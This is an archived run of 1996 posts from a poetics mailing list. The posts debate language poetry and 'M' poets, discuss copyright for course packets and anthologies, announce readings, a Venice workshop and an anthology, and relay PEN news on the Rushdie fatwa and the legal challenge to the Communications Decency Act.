[redacted]

Thank you,
Jake Berry

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537. Robert Drake
Re: legacies
Wed 21 Feb 1996

Christopher J. Beach wrote:

> *If M poets are not "the main next generation inheritors of language writing," then who is?*

this seems to assume a linear progression, like a torch being passed frm olympian to olympian? which i think is not very accurate, useful, nor desirable way to view th recent history ov poetic practice... (mark may have been cautioning about that construction on other grounds, ov course). the variousness of th poets you mention (& others) argues, fr me, towards a more multivariant analysis...

lbd

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538. Christopher L. Filkins
Charles Alexander, John Milton, & 24 Hours of Democracy
Wed 21 Feb 1996

Following my post earlier concerning the 24 Hours of Democracy project Charles Alexander suggested I look up a work by John Milton concerning censorship of the press. While I was not able to find the exact text he referred to I did remember the 'AREOPAGITICA' and pulled out my copy. After rereading it I searched the net, found it through a university, and webbified the whole thing. On Thursday it will be posted to the project

You can now find it at http://www.chronotope.com/24/milton.html (a brownie to anyone who can tell me what chronotope means and where it comes from)

Charles has begun work on a short introductory preface to Milton's work putting it in the context of this whole CDA situation. I want to thank him publicly for his generosity and interest.

I would like to stress once again that anyone on this list who can contribute would be most welcome to participate. I can host anyone's essay who does not have a permanent location where they can post it.

I would especially like to invite the propriator's of the various small presses on this list to contribute as this CDA has the potential to dampen or extinguish any hopes of moving texts through this medium. Unless of course they fit the definition of 'clean' as hoisted upon us by the Congress. I know that this medium is a good place where small presses can compete equally with the big houses and I hope that members of this list see this as an opportunity to be heard in a forum where they are usually not present.

I also would like to extend an invitation to any small presses out there looking for a web space in which to present their books: I offered Douglas Messerli space on the very day he opened Sun & Moon on the web and will extend the same offer to anyone else who is interested. Douglas called my offer generous and kind and I think you'll also find it so if you are interested. (Sorry Douglas, I have been way to busy to return to your site - I am trying to wire an elementary school in my neighborhood for NetDay96 and I have been working 12 hour days for over a week now on this 24 Hours project - I'll be back though.) If anyone is interested in either of these offers please contact me at [redacted] for additional information.

Thanks for your time.

Christopher Filkins

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539. Erica Hunt
Venice: Poetry and Performance Art Workshop
Wed 21 Feb 1996

I wrote a note a few weeks ago regarding an international poetry and performance art workshop/institute sponsored by Zenobio Institute of Venice, Italy and Segue Foundation in New York. The following announcement offers more particulars. Those of you who have indicated your interest in the event by responding by e-mail (Ericalin @ aol.com) will be getting apps by snail. For those reading about this for the first time please drop me a line.

SITE SPECIFIC
May 4 1996 through June 1, 1996

Literature and Performance Art In a Waterbound City
at Zenobio Institute -- Laboratory for the New Urban Landscape in Venice, Italy

Site Specific: "meditations and investigations between artist and physical space"

Site Specific is a month-long workshop in literature and theater using the environs of Venice, Italy as the basis for literary investigation and artistic production. The goal of the workshop is to stretch the boundaries of the written and spoken text by incorporating the "sites/cites/sights" of the city's many architectural settings as dynamic elements in literary and performance art.

Workshop participants will become intimate with a Venice seen through the lens of architecture, urban history, philsophy and aesthetics. Exploration of the city's poetic possibilities will go beyond its monumentality to an investigation of its symbolic, morphological amd utopian gestures with the assistance of an international faculty and Venetian based critics and writers.

Faculty includes: Fiona Templeton, artist in residence; Charles Bernstein, Lee Ann Brown, Erica Hunt, Julie Patton, Tom Raworth, Schuldt and Lucio Pozzi.

Site Specific will take place as part of the 1996 Zenobio Institute Spring program, based in the baroque palace of Ca' Zenobio. Located in a quiet sestriere of Venice, the palace and its gardens are a registered national monument. The complex includes studio space and grand public rooms that can accommodate lectures, seminars and exhibitions. Zenobio Institute is an interdisciplinary center for inquiry, dialog and experiment into urban contexts.

The cost of the four week workshop is $2,300, includes tuition for workshops, the performance art intensive (with Templeton) and supervision of independent projects. The fee also covers residential acocommodations in two and three bedroom apartment (two persons to a room) containing kitchens, baths and living rooms. Single rooms can be arranged for an extra charge. Please indicate your preference with your application. The fees do not cover air travel, meals or field trips.

Advanced students and practitioners are invited to apply by e-mail or letter or fax to the address appearing below. Please include a sample of your work, no longer than 20 pages, or in the case of video, 30 minutes long. Submissions should be accompanied by a stamped, self-addressed return envelope.

Applications will be processed as we receive them. The earlier you send your application the sooner we can reserve a space for you in the workshop. Applications should be accompanied by a deposit of $100 payable to the Segue Foundation/Zenobio, refundable only if the entire program is cancelled.

The final deadline for full payment is March 30, 1996.

Please direct applications to
Erica Hunt/Julie Patton
c/o Segue Foundation
303 East 8th Street
New York, N.Y. 10009
212/[redacted]
FAX 212/[redacted]
e-mail: ericalin @ aol.com

NB: This is a fledgling enterprise, which once launched will create some precedent for entropic entrepreneurism abroad...ahem... I mean future writing institutes at Zenobio, a kind of think tank for urban centered art. Though this particular workshop is an experiment in a time of grant famine, we'll try to make subsidies/scholarships available as soon as we have a sense of the enrollment.

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540. **Aldon L. Nielsen**
Re: do not copy this under penalty of loy
Wed 21 Feb 1996

---

much apparent mystification from some profs and many copy shops about this course packet stuff -- while the "fair use" doctrine remains a legal quagmire, it has always been clear previously that hte production of anthologies for course use without permission to reprint insides was illegal -- on the other hand, fair use permitted all along that if I saw, say, one of Ron's poems in the morning news that perfectly made a point I wanted to discuss in class that day I was free, once only, to copy such for class use -- grey area was always just how much of a poem can I copy for repeated use before permission is required --

as someone who once actually received a check for $7.00 as a result of an honest prof at USC using my stuff in a reader, I can attest to the fact that such arrangements can, as my boy said, be very easily done -- and there's plenty of room in the law for that spontaneous bop educational prosody use in class --

meanwhile, I have promised myself to order at least one small press title for each class I teach, no matter how much grief I get about it from the university book store

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541. **Chris Stroffolino**
Re: legacies
Wed 21 Feb 1996

Dear Christopher Beach--- interesting points about where these lines blur and/or mesh, or simply cease to exist.... When you ask about poets like Heijinian and the accuracy of calling them "non-transcendental", I am reminded of the way Jerome McGann tries to dance the question--referring to Heijinian and other L poets (even perhaps Kathy Acker!) as examples of what he calls "a nonmystical and nonromantic theory of poetry-as-inspiration." in BLACK RIDERS. I wonder what the writers in question would say about that.....chris s.

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542. **Chris Stroffolino**
Re: 103d Street
Wed 21 Feb 1996

Thanks Aldon for the Bill Withers/103rd tip....
"express yourself" is the song I taped off the radio the other day.
He had two other white top 20 hits (according to my book)--
(I mean hits on the WHITE MAINSTREAM charts)--
and it's weird (but makes sense too) that you don't hear them on oldies stations--even though you'll hear songs that weren't as popular...
Segregation in radio seems to be certainly bigger now than it was 25 years ago. Grunge stations might as well be heavy-metal stations in their unwillingness to play "black music".
Waiting for someone to update Gil Scott Heron's 1980
with its beautiful (and frightening) (and prophetic)
6-5-4-movement.....cs

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543. **Ken Edwards**
Followed the thread/caught in the web...
Wed 21 Feb 1996

Yes, Ron, it was Faber who reputedly asked for a ludicrous sum to reproduce David Jones' work in Poems for the Millennium, and thereby effectively kept him out of the anthology. It didn't surprise me to hear that, as Faber is notorious for its greed in such matters. It's one thing to demand that poets be fairly recompensed for their work, but this has to be a balanced against other

factors: being included in an anthology enhances a poet's reputation, leads readers to seek out the original books, etc.

I have known poets themselves cut off their noses to spite their faces. When the late Eric Mottram and I were involved in editing The New British Poetry a few years ago, one (living) poet who shall be nameless demanded a sum far in excess of what was on offer from Paladin/HarperCollins, and refused to allow his work to appear unless we conceded. There was no way we could squeeze any extra money out of the publisher, so he had to be dropped. At the eleventh hour he relented and asked to be included anyway, but by that time we had replaced him.

Publishing anthologies is an incredibly expensive business, as I now know to my cost. The 30 contributors to Out of Everywhere will hardly be able to do the week's shopping on what they got from us (Reality Street Editions), and the amount of space allocated to each is less than I would wish, yet the book's production has broken the bank for us. Hopefully, sales income should now start materialising, but of course it will all be ploughed back into producing new books. As for the poets themselves, I hope the selection will serve as a shop window for their own books -- this is not the least function of anthologies.

Ken
(poetry-related income for 1995: about 330 pounds ($500))

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544. **Ron Silliman**
Re: Question: Berrigan/Cage, Cage/Williams
Wed 21 Feb 1996

Rod,

Try posting this to the Cage discussion list (our own Joe Zitt is the moderator).

You wrote:
>
>Does anybody have a copy of the fake interview with Cage that Berrigan did as
>it appeared in _Mother_ magazine or
>_The National Literary Anthology_? It also appears in _Bean Spasms_ but want
>to determine how revised.
>
>Also, does anybody know anything about the Williams paragraph re Cage's
>_First Construction_ that appears in the David Revill biography of

Cage? The
>source is not given, it is simply refered to as a response to the premeire.
>thanks.
>--Rod
>

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545. **Hank Lazer**
Re: roof books, copies, internet etc...
Wed 21 Feb 1996

Thanks to one and all for the recent comments on book orders for classes. Special thanks to Joe Amato, whose descriptions of using the internet and e-sites for his class have re-directed my thinking about a contemporary (post-1945...) American poetry course I'll be teaching in the fall. Last time I taught the course, we used two "opposed" anthologies--Poulin and Messerli. Very little overlap. (Cf. "teach the conflicts...") And we used several individual books (yes, including small press work). The students (graduate students, some in an MFA program, some in MA/PhD programs) had to construct their own anthology as a final project--also, address issues such as for whom the anthology was being constructed, its imagined uses, costs of publishing the anthology, etc. This next go around, I'm leaning toward using nothing but individual books of poetry with a heavy emphasis on small presses. Joe's remarks show me how exciting an electronic component can and will be. For example, students here tend to be utterly unaware of electronic magazines, including the work of Jake Berry (who is nearby). The Electronic Poetry Center will be a crucial browsing site for the class. Thanks again to Joe and others for you unwitting assistance.

Hank Lazer

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546. **Pierre Joris**
PEN News
Wed 21 Feb 1996

Here two items from Pen's IPEX news letter, of interest to this list:

MIDDLE EAST

IRAN: PROTESTS MARK SEVENTH ANNIVERSARY OF FATWA AGAINST RUSHDIE

PEN American Center marked the seventh anniversary of the issuing of a fatwa, or death edict, against "Satanic Verses" author Salman Rushdie "and all those

(including U.S. citizens) associated with the publication of his book, `The Satanic Verses'" by sending a letter to United States President Bill Clinton. The 14 February letter asked Clinton to renew efforts to bring pressure to bear on Iran to retract this threat, and read in part, "As you know, the EU [European Union] Troika has been working on the issue through a Critical Dialogue with Iran. However, this initiative has yet to yield concrete results. Despite some conciliatory words from lower-ranking Iranian officials last year, the Iranian government has persisted in its refusal to gainsay the fatwa. When asked to provide a written undertaking to refrain from all acts of international terrorism, it demurred. Indeed, Javad Kajouyen Fini, the new Iranian Charge d'Affaires to Norway (a country where Rushdie's publisher narrowly avoided a 1993 assassination attempt) has recently stated that the fatwa remains in effect."

"While we deeply appreciate your past support for Mr. Rushdie," the letter continues, "we now ask that fresh mechanisms for exerting influence over Iran on this issue be explored. We note that Iran is in a period of political transition, with both parliamentary and presidential elections due to take place this year. Opportunities for reiterating the U.S. position on this issue will no doubt present themselves and we trust the U.S. will use every occasion, whether in private or in public, to endeavour to persuade Iran that it must publicly renounce its policy of pursuing its ends through threats and terrorist actions before it can be seen as a responsible member of the community of nations."

According to ARTICLE 19 (A19), the Iranian government, in issuing the fatwa, "sought to suppress a book and to silence its author. These intentions have been thwarted by the collective efforts of many thousands of individuals and organizations which include writers, booksellers, the International Rushdie Defence Committee and its network of national committees, and not least by the author himself. `The Satanic Verses' has not been suppressed and, as the publication of a new novel clearly demonstrates, the author has not been silenced." "This is not a story of fear and failure", claims Salman Rushdie, "but of successful resistance."

NORTH AMERICA

UNITED STATES: HRW JOINS LAWSUIT AFTER TELCOM BILL SIGNED

Shortly after President Clinton signed into law a new telecommunications bill on 8 February, the American Civil Liberties Union (ACLU), acting on behalf of 20 individuals and organizations, including Human Rights Watch (HRW), filed papers in federal District Court in Philadelphia. On 9 February, HRW released a statement explaining that they joined the lawsuit because they have "opposed this legislation since its inception -- not only as a violation of the First Amendment, which is asserted in our lawsuit, but as a violation of international legal safeguards, such as the guarantee in the International Covenant on Civil

and Political Rights of the right "to seek, receive and impart information and ideas of all kinds, regardless of frontiers ... through any media."

The statement adds that "(HRW) joined this litigation not only because we oppose the Communications Decency Act in principle, but because, like the other plaintiffs, we are concerned that it could have a direct and damaging impact on our work to expose the most serious violations of human rights, such as sexual abuse and sexual torture." Adding that, "If, each time we publish our reports or refer students to them, we must now assess the potential risk of criminal prosecution, the only people who will benefit are those who commit the terrible human rights abuses we expose. The people who will suffer are the victims of human rights abuse, who rely on our capacity to mobilize public outrage for their prevention and remedy."

An affidavit filed in support of ACLU by Dinah PoKempner, Acting General Counsel for HRW, says in part: "I am concerned that the words `patently offensive' or `indecent' as used in the statute lack a definite scope and are inherently subjective. I believe that graphic descriptions of sexual and violent abuse in HRW reports, as well as explicit online discussions of sex and violence among investigators, office staff, volunteers, and witnesses through e-mail or on listservs or newsgroups may be considered `patently offensive' or `indecent'. Were HRW to eliminate such references in our on-line communications, it would severely compromise our ability to expose human rights abuses around the world. If our staff and volunteers had to self-censor their on-line communications, I am concerned that the reliability, quality, and impact of discussions, reports, and eyewitness accounts would be greatly reduced."

The ACLU suit argues that provisions of the Communications Decency Act of the Telecommunications Reform Act of 1996 are unconstitutional because they will criminalize expression that is protected by the First Amendment. "Nothing less than the future of free expression is at stake here," said Ira Glasser, ACLU Executive Director. "By passing this legislation, Congress has misunderstood a promising new medium and has, once again, turned its back on the First Amendment."

** ** **

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]| ==========

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547. **Mark Wallace**
legacies
Wed 21 Feb 1996

Dear Christopher Beach:

Thanks for your useful comments--my first response would be that the notion that there must be one "main inheritor" group of a poetic tradition or set of practices simply won't really hold water--the influence of language writing, say, has permeated a number of contexts in a number of ways. I think the Apex of the M magazine has perhaps revealed the most directly Oedipal relation to language writing--personally they know each other well, the Apex poets are younger, and I think they've tried too hard to "reject the parents" in a way that doesn't really work--a return to the notion of poetry as unproblematically (although complexly) accessing the "spiritual" doesn't really wash for me. (Apex's position is more complex than this, but they've written their own manifestos and I dont need to rewrite them). I respect Apex for putting their finger on a key problem, and being brave enough to speak up, but I think their answers miss the boat.

I, personally, don't share their argument that language writing has been of theoretical significance but has not produced any poetry of value. I think such a position is rather painfully mistaken, and has been one of the reasons that they've received as much flak as they have. But assuming that language poetry has had not only a significant influence, but a hugely overwhelming one for poets of my own context (a context I'll leave loosely defined, because it is), the question becomes how to respond to that influence without taking any of the two more typical 20th century paths--i.e., complete acceptance or complete rejection. One answer for me has been to extend some of the theoretical implications of language writing into poetic arenas where it had not been extended before--I'm interested in rewritings of lyric poetry, say, or various postlanguage New York School conjunctions. And there are a huge variety of others being worked out by other people like Juliana Spahr, Steve Evans, Charles Borkhuis and many many more. Response for my own project has been complex--one language writer who I greatly respect has called this project "conservative," but when I ask him who constitutes "non-conservative," it turns out to be only those poets whose writing he believes looks most like his own, i.e. the only non-conservative writers are language writers and those who he believes imitate them, narrowly defined. Some writers of my own generation think I cow-tow too much to language writing--that is, that I don't reject them enough. Such responses are not really a problem for me--for me, they simply show how complex (and emotional) the issue of influence is, although I have to

admit that sometimes I wish that a lot of people didn't feel so defensive about being influenced, or for that matter about being an influence.

As to who's a language writer or not, that argument seems a little done-to-death to me at this point--clearly there's no cut-and-dried litmus test, but various degrees of interaction. I've not yet thought of Lyn Heijinian as transcendental (make a case, I'll listen) but I certainly know that Lew Daly, for instance, has made a case for Susan Howe as such. I don't think he's right about that, really, although there is more evidence of it in her work than is sometimes recognized.

mark wallace

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548. **Henry Gould**

M & Ms

Wed 21 Feb 1996

On the place & influence of language poetry there's an interesting if maybe tangential essay by Mikhail Epstein in "Third Wave", the anthology of contemporary russian poetry (I think edited in part by Lyn Hejinian?). Epstein compares what he sees as 3 main trends in late 20th cent russian poetry with three streams from the early part of the century - Futurism, Symbolism & Acmeism & finds some parallels. & there do seem to be some similarities between the "word as such" in Russian futurism (esp. Khlebnikov) & language poetry. Also, he gets into this issue of the "transcendental" since one contemporary Russian strain seems to emphasize a kind of multilayered, symbolist & in some cases "spiritual" perception. He locates a middle stream, between the two others [i.e. a kind of dada satirical futurism on the one hand and a transcendentalism on the other] - which he relates to Acmeism - which foregrounds the rhetorical/logical choices of the poet. [I've probably muddled this some - don't have the book in front of me.] - Henry Gould

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549. **Jim Pangborn**

Re: Charles Alexander, John Milton, & 24 Hours of Democracy

Wed 21 Feb 1996

"Christopher L. Filkins" <[redacted]> promises

> *(a brownie to anyone who can tell me what chronotope means and where it comes from)*

The term was coined by M. M. Bakhtin, also spelt Baxtin, to refer to the way matters of time and space interrelate in novelistic representations-- their

"intrinsic connectedness." The concept functions to produce "formally constitutive categor[ies] of literature," meaning that he uses it to generate categories of novels in a manner that points up formal structures but doesn't get too airily abstract or ahistorical about it. It can be a way, for example, of summing up and explaining formal differences between _Joseph Andrews_, a "road novel," and _The Castle of Otranto_, etc.

See Bakhtin's _The Dialogic Imagination_, U Texas P 1981.

--JimP

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550. Charles Bernstein

Premonitions anthology (fwd)

Wed 21 Feb 1996

---------- Forwarded message ----------
Date: Fri, 16 Feb 1996 17:23:08 -0500 (EST)
From: Kaya <[redacted]>

---------- PREMONITIONS: The Kaya Anthology of New Asian North American Poetry

edited by Walter K. Lew

The most comprehensive anthology of Asian North American poetry to date, Premonitions gathers work ranging from cyberpunk meditations and Buddhist odes to L=A=N=G=U=A=G=E-influenced and neo-Orientalist writingQand juxtaposes them in ways that both echo and subvert categories of theme, poetics, and identity. Video and multimedia texts, pidgin poetry, queer writing, and Canadian open-field compositions further broaden the scope of this ground-breaking collection. The 73 contributors include veteran authors like Jessica Hagedorn, Lawson Fusao Inada, Trinh T. Minh-ha, Fred Wah, Kimiko Hahn, Arthur Sze, and John Yau, as well as such "premonitory" new poets as R. Zamora Linmark, Barry Masuda, Evelyn Lau, Amitava Kumar, and an emerging generation of Vietnamese and Korean American poets. Also featured are previously unpublished poems by the late Frances Chung, Roy Kiyooka, and Theresa Hak Kyung Cha.

SOME PRAISE FOR PREMONITIONS:
"An exquisite artifact of activist experimentalism, theoretically smart and so beautiful it hurts, Premonitions promises to be a landmark in American letters for many years to come."
--Maria Damon, University of Minnesota

"When you turn this smokin' tome aloose, you may not be able to get the poetic license plate number, but you will definitely know it was felony hit-and-run." --Wanda Coleman, Author of Hand Dance

"An impressive collection distinguished by its variety and sweep. By turns entertaining, exciting, troubling, it is always provocative. A major contribution." --David Palumbo-liu, Stanford University

"Up to recently, Asian American literary anthologies have served to canonize authors, works, tastes, and ideas. Premonitions is different. From conception to layout, it explodes impulses to map centers and margins of Asian American poetry. Premonitions gives us a brilliant variety of poetry and poets who together show, we are all this and more." --Stephen Sumida, University of Michigan, Author of And the View from the Shore: Literary Traditions of Hawaii

"Demonstrating the infinite range of possibilities overlooked by the too easily applied label of 'multicultural'...this collection steeps the reader in alternative histories and approaches to language and tells stories seldom--if ever--heard. Recommended for most poetry collections." --Library Journal

KAYA PRODUCTION
Paperback ISBN 1-885030-14-2 $22.95 US
Clothbound ISBN 1-885030-13-4 $44.95 US
Paperback and Clothbound editions, 6 x 9 in, 595 pgs, 36 b& w. World Rights. Poetry.

CONTRIBUTORS TO PREMONITIONS:
Maria Luisa B. Aguilar-Carino
Meena Alexander
Agha Shahid Ali
Shirley Ancheta
Theresa Hak Kyung Cha
Juliette Chen
Justin Chin
Marilyn Chin
Eric Chock
Ann Choi
Janet M. Choi
Jean Hyung Yul Chu
Frances Chung
Josephine Foo
Sesshu Foster
Vince Gotera
Jessica Hagedorn
Kimiko Hahn

Patricia Y. Ikeda
Lawson Fusao Inada
Michael Ishii
Jaime Jacinto
Myung Mi Kim
Willyce Kim
Roy Kiyooka
Joy Kogawa
Ann M. Kong
Juliet Kono
Amitava Kumar
Mina Kumar
Robert S. Kuwada
Christian Langworthy
Evelyn Lau
Carolyn Lei-lanilau
Russell Leong
Ho Hon Leung
Walter K. Lew
Shirley Geok-lin Lim
Tan Lin
R. Zamora Linmark
Stephen Shu-ning Liu
Timothy Liu
Martin F.
Manalansan, IV
Barry Masuda
Roy Miki
David Mura
Dwight Okita
Richard Oyama
Gloria Toyun Park
Celine Salazar-Parrenas
Sung Rno
Al Robles
Thelma Seto
Gerry Shikatani
Luis Syquia
Arthur Sze
Ronald Phillip Tanaka
Andrew Tang
Barbara Tran

Trinh T. Minh-ha
Fred Wah
Wang Ping
Yun Wang
Koon Woon
Traise Yamamoto
Lois-Ann Yamanaka
Karen Tei Yamashita
John Yau
Jean Yoon
Wahn Yoon
cyn. zarco
Ali Zarrin

Kaya Production
8 Harrison Street, Suite 3
New York, NY 10013
[redacted] / [redacted] fax
Reach Julie Koo directly at [redacted]
Reach Sunyoung Lee directly at [redacted]

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551. Eryque Gleason
Re: PEN News
Wed 21 Feb 1996

About a month ago I happened to be in the car while NPR played an interview with Rushdie. In answering a question, he said "I don't think that a novel should be *too* polemical."

?!
Eryque

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552. Christopher J. Beach
Re: legacies
Wed 21 Feb 1996

Chris S.--I like McGann's formulation, as a starting point anyway. I'd be interested in knowing what Hejinian and other "Language-oriented" poets think about the role of "inspiration" in their work (this might be a way of finding common ground between practices of L-poets and M-poets). I think there are still ways of thinking about inspiration in various ways that are non-romantic (at

least in the strictest sense), ie. Spicer's lowghost or Antin's improvisational "talks." I think Olson and Duncan are of great importance to L-poetry, and both are very much poets of "inspiration" (and, certainly in Duncan's case, mystical). I find that strain in the interstices of a lot of Language writing as well.

C Beach

On Wed, 21 Feb 1996, Chris Stroffolino wrote:

> *Dear Christopher Beach---*
> *interesting points about where these lines blur and/or mesh, or simply cease to exist....*
> *When you ask about poets like Heijinian and the accuracy of calling them "non-transcendental", I am reminded of the way Jerome McGann tries to dance the question--referring to Heijinian and other L poets (even perhaps Kathy Acker!) as examples of what he calls "a nonmystical and nonromantic theory of poetry-as-inspiration." in BLACK RIDERS. I wonder what the writers in question would say about that.....chris s.*

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553. **Christopher J. Beach**
Re: legacies
Wed 21 Feb 1996

Dear Mark:

Thanks for the very interesting reply to my query. As one who has thought quite long and hard about questions of poetic influence (altho not a poet myself), I appreciate your own thinking about these issues. As to the question of defining who's a language poet and who's not, I ask it only in the context of getting straight the M-poets' (to me) overly systematic rejection of Language, without a clear definition of exactly what that means. (Or, even more vaguely, the rejection of the "contemporary avant-garde," a term that covers a lot of ground).

I'm not sure if I can mount a good defense of Hejinian as a "transcendental" poet, but I am about to teach her in my seminar, so I should have a better idea after that. I think Daly is right about Howe as well. "Transcendental" does not have to mean unrigorous or ideologically naive. I mean transcendental in the sense of making space for the irrational, for the "poetic," whatever that is. I'm not sure if it is exactly "religious," but "meditational," perhaps?

C Beach

On Wed, 21 Feb 1996, Mark Wallace wrote:

Dear Christopher Beach:

Thanks for your useful comments--my first response would be that the notion that there must be one "main inheritor" group of a poetic tradition or set of practices simply won't really hold water--the influence of language writing, say, has permeated a number of contexts in a number of ways. I think the Apex of the M magazine has perhaps revealed the most directly Oedipal relation to language writing--personally they know each other well, the Apex poets are younger, and I think they've tried too hard to "reject the parents" in a way that doesn't really work--a return to the notion of poetry as unproblematically (although complexly) accessing the "spiritual" doesn't really wash for me. (Apex's position is more complex than this, but they've written their own manifestos and I dont need to rewrite them). I respect Apex for putting their finger on a key problem, and being brave enough to speak up, but I think their answers miss the boat.

I, personally, don't share their argument that language writing has been of theoretical significance but has not produced any poetry of value. I think such a position is rather painfully mistaken, and has been one of the reasons that they've received as much flak as they have. But assuming that language poetry has had not only a significant influence, but a hugely overwhelming one for poets of my own context (a context I'll leave loosely defined, because it is), the question becomes how to respond to that influence without taking any of the two more typical 20th century paths--i.e., complete acceptance or complete rejection. One answer for me has been to extend some of the theoretical implications of language writing into poetic arenas where it had not been extended before--I'm interested in rewritings of lyric poetry, say, or various postlanguage New York School conjunctions. And there are a huge variety of others being worked out by other people like Juliana Spahr, Steve Evans, Charles Borkhuis and many many more. Response for my own project has been complex--one language writer who I greatly respect has called this project "conservative," but when I ask him who constitutes "non-conservative," it turns out to be only those poets whose writing he believes looks most like his own, i.e. the only non-conservative writers are language writers and those who he believes imitate them, narrowly defined. Some writers of my own generation think I cow-tow too much to language writing--that is, that I don't reject them enough. Such responses are not really a problem for me--for me, they simply show how complex (and emotional) the issue of influence is, although I have to admit that sometimes I wish that a lot of people didn't feel so defensive about being influenced, or for that matter about being an influence.

As to who's a language writer or not, that argument seems a little done-to-death to me at this point--clearly there's no cut-and-dried litmus test, but various degrees of interaction. I've not

> *yet thought of Lyn Heijinian as transcendental (make a case, I'll listen)*
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> *Howe as such. I don't think he's right about that, really, although*
> *there is more evidence of it in her work than is sometimes recognized.*
>
> *mark wallace*

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554. **Chris Stroffolino**
Re: legacies
Wed 21 Feb 1996

Dear Chris Beach-- So I'm looking around at language--I mean the "social landscape" of language. It's kinda soggy today (late feb. "thaw"). But there's all this detritus jutting its head out from melting piles of snow. There's the word "inspiration" and there's the word "romantic." Funny how people who like the word "ideology" are willing to at least be seen hanging around the word "inspiration" why the word "romantic" sits there as if it is "Hitler" or "A" or "The" back in the days before zukofsky and stein.... Actually, I won't say "Hitler". I could say "Buchanan"--- Another thing is---why is the word transcendence and romantic worse than the word OEDIPAL? Talk about mystification. Two Apex editors are women. Oedipal women. Freud as allegedly "secular scientist." Yeah, right. Romantic bias all along, underneath "it all" but embarrassed by it. It isn't that ROMANTIC is "better", but it is interesting to see what words we scapegoat. pomophobically yours, chris s

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555. **Chris Stroffolino**
Re: legacies
Wed 21 Feb 1996

Speaking of OEDIPAL---
I notice that "our own" (as ron would say) Shaunanne tanguy has
(sorry if i screwed the spelling) a panel on "WHERE HAVE ALL THE
FATHERS GONE?"--that she's trying to put together for the MLA...
(hope you don't mind me outing you on this ST)
and when I read the description all I could think about was
    THE ABSENT FATHER IN DUMBO
    THE ABSENT FATHER IN DUMBO
I really don't know much contemporary fiction without fathers...
Is this REALLY a trend?-----cs

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556. Jerry Rothenberg
Millennium Celebration
Wed 21 Feb 1996

A note to anybody in the L.A. area, that on Friday the 23rd of February, we (Jerome Rothenberg & Pierre Joris) will be doing a reading at Beyond Baroque in celebration of POEMS FOR THE MILLENNIUM. The time isn't in front of us at the moment but must surely be 7:30 or 8:00 p.m.

Also for friends & neighbors in San Diego, Pierre reads this afternoon at CRCA (Matthews 408) @ UCSD, 4:30 P.m. to be followed by a party at JR's place. And on Sunday 3:00 p.m. at the Dr. Seuss Room (named for the favorite San Diego poet) of the Giesel Library (named for the same favorite poet), there will be a celebration & performance for MILLENNIUM, with the editors and Rae Armantrout, Michael Davidson, George Lewis (on trombone), Tom Raworth, and Quincy Troupe. (Refreshments follow.)

Anyway ...

P & J

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557. Kenneth Sherwood
transcending L or M
Wed 21 Feb 1996

Chris: The Bloomian pall hangs heavily on us all. It's difficult to separate claims of influence motivated by historical/political context from formal influences supported or betrayed in the work.

> *"Transcendental" does not have to mean unrigorous or ideologically naive. I mean transcendental in the sense of making space for the irrational, for the "poetic," whatever that is. I'm not sure if it is exactly "religious," but "meditational," perhaps?*

While its easy enough to see M-transcendence or Emersonian transcendence as ideologies in themselves, both seem to want to claim some kind of escape from the ideological condition of writing.

So "M" manifests "One of our primary concerns is to find a way in which langauge must ultimately yield tothe dangerous life-force in memory and hope", posing a space for the irrational/ecstatic that is "beyond."

Does the work of Howe, to get particular, orient itself towards this "beyond" or does it aim to make a space within itself for the irrational/ecstatic voice?

And if we take LANG Po as any sort of historical moment--1970s experimental american--then it makes little sense to exclude poets like Howe or Hejinian (or as earlier Bernadette Mayer). I think it's only when one's using L=A=N=G=U=A=G=E as a bumper to push off/away from that the narrow caricature becomes useful.

KS

Kenneth Sherwood | Dept English
[redacted] | 618 Clemens Hall
[redacted] | SUNY @ Buffalo
|_____Buffalo, NY 14214_____

RIF/T mail: [redacted]
Electronic Poetry Center (Web address): http://writing.upenn.edu/epc

---

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558. **Henry Gould**

re : beyond L or M

Wed 21 Feb 1996

On ideology & "the beyond" in writing, shucks, can I recommend another book, gang? Don't shoot me. It's "Dividing Muse", by Sanford Budick. It's about Milton. Milt, remember, was attacked by Eliot & others before him in a characterization that made him sound almost like a Language poet: his imagery was nonvisual, self-negating, returning into itself in pure rhetorical verbiage. Budick describes a theological tradition dating back to Philo, carried on through Bonaventure in the Middle Ages, and brought to the fore during 1600s Puritanism & Ramistic logic, a tradition he finds in Milton. Philo opposed Heraclitus' pure binary cosmos - yin/yang in constant opposition, with a Biblical cosmology. Philo is so close to Heraclitus because he also characterizes the created world as consisting of defined binary opposites; but the universal opposites are both created and RECONCILED by a third element - the dividing Logos, the sharp sword which maintains all things in opposition and unites them. ("Divide" can mean both split & share). The logos, of course proceeds from the transcendent ground which precedes the created cosmos. What Philo objected to in Heraclitus was not simply the unending violence of his cosmos but its totalizing power (there is no "beyond" the lock of nature). In Philo, to repeat, language descends from a "divine" Word which maintains the binary opposites in their integrity while holding them together - a different architectonics.

What does this have to do with what we're discussing? Ideology might be characterized as the conscious historical expression of dialectical opposites. Budick suggests a Milton & a literary tradition which does not deny dialectics yet maintains a transcendent ground for a poetic "word". The influence of Heraclitus seems pretty visible in modern & postmodern philosophy. But if deconstruction, for example, posits an unbridgeable gap between sign and referent, Philo counters with a cosmology acknowledging the same binary divide. Ergo, writing DOES reflect reality, i.e. deconstruction contradicts itself. IF the philosophical ground of language poetry rests in the acceptance of the deconstructive "gap" (and I'm not saying it does - I don't know!) - then Budick has sketched out a tradition of poetics which might relate to M & beyond. - Henry Gould

↑ Index

559. **Rod Smith**

Re: legacies (Lyn & M)

Wed 21 Feb 1996

As Mr Stroffolino has used the term "pompophobically" I'd like to assert that I find the conflation of the term 'M poets' with the or a 'generation' schizotypical, & assert that as these labels go, since I'll be having an O Book soon I'd much prefer to skip down the alph a bit & beknownst as an O poet thankyou.

